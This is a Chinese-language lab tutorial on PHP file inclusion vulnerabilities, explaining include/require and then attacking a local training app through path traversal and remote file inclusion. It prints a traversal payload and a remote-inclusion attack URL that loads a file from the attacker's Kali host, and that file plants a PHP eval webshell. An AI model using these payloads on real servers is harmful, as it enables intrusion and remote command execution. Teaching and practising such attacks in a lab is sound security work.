wordpress 融資谷歌seo網絡公司
文章目錄
- 1、文件包含漏洞概述
- 1.1 文件包含漏洞
- 1.2 相關函數
- 1.3 文件包含漏洞分類
- 2、File Inclusion(local)
- 3、File Inclusion(remote)
1、文件包含漏洞概述
1.1 文件包含漏洞
??文件包含漏洞:在web后臺開發(fā)中,程序員往往為了提高效率以及讓代碼看起來更簡潔,會使用“包含”函數功能。比如把一系列功能函數都寫進function.php
中,之后當某個文件需要調用的時候就直接在文件頭中寫上一句<?php include function.php?>
就可以調用函數代碼。但有些時候,因為網站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于開發(fā)人員沒有對要包含的這個文件進行安全考慮,就導致攻擊者可以通過修改包含文件的位置來讓后臺執(zhí)行任意文件(代碼)。
??需要注意的是,php的文件包含不管文件后綴名是什么,只要包含php代碼,就可以被當作php代碼解析。
1.2 相關函數
??文件包含包含函數:在php中,通過include()、include_once()
或require()、require_once()
語句,可以將php文件的內容插入另一個php文件(在服務器執(zhí)行它之前)。include()
和include_once()
的區(qū)別在于include_once()
只能包含一次相同的文件。
??include
和require
函數在錯誤處理方面有所不同:
- require會生成致命錯誤(E_COMPILE_ERROR)并停止腳本;
- include只生成警告(E_WARNING),并且腳本會繼續(xù)。
1.3 文件包含漏洞分類
??根據不同的配置環(huán)境,文件包含漏洞分為本地文件包含漏洞和遠程文件包含漏洞:
(1)本地文件包含漏洞
??僅能夠對服務器本地的文件進行包含,由于服務器上的文件并不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些固定的系統(tǒng)配置文件,從而讀取系統(tǒng)敏感信息。
(2)遠程文件包含漏洞
??能夠通過url地址對遠程的文件進行包含,這意味著攻擊者可以傳入任意的代碼。
??此處的本地指的是服務器端,遠程指的是非服務器端。
2、File Inclusion(local)
(1)在搜索框中選擇kobe之后1,url變?yōu)?#xff1a;http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
??觀察到url中出現
filename=file1.php
,那么該目錄下是否存在fileX.php文件呢?
(2)發(fā)現隱藏文件,對文件名進行爆破,可以發(fā)現file6、file7、file8、file9、file10、file100返回異常。說明存在隱藏文件。
(3)讀取不同文件夾的文件
??filename=file9.php
返回了報錯,通過這個報錯,可以知道fi_local.php
中用來進行文件包含的函數是include()
,并且包含的文件路徑為與fi_local.php
同文件夾下include
文件夾中的文件。
??payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4
,可以發(fā)現現在include函數中的相對路徑已經跳轉到了/app/vul
路徑下了。也就是說只要我們知道某個文件的相對位置,就可以訪問它。
3、File Inclusion(remote)
(1)遠程文件包含這里,同樣是通過傳遞一個文件名進行包含。
(2)filename改為www.baidu.com后,會直接訪問百度;
(3)在 Kali 上,在 /var/www/html/ 中新建一個shell.txt,輸入下面的內容:
<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[cmd]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
??同時,使用service apache2 start
開始apache服務,構造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交
??貌似什么也沒發(fā)生,我們需要訪問生成的shell.php文件就可以拿到webshell了。
(4)連接webshell
??另外,遠程包含漏洞前提:如果使用 includer 和 require ,則需要 php.ini 配置如下:
allow_url_fopen = on;(默認開)
allow_url_include = on;(默認關)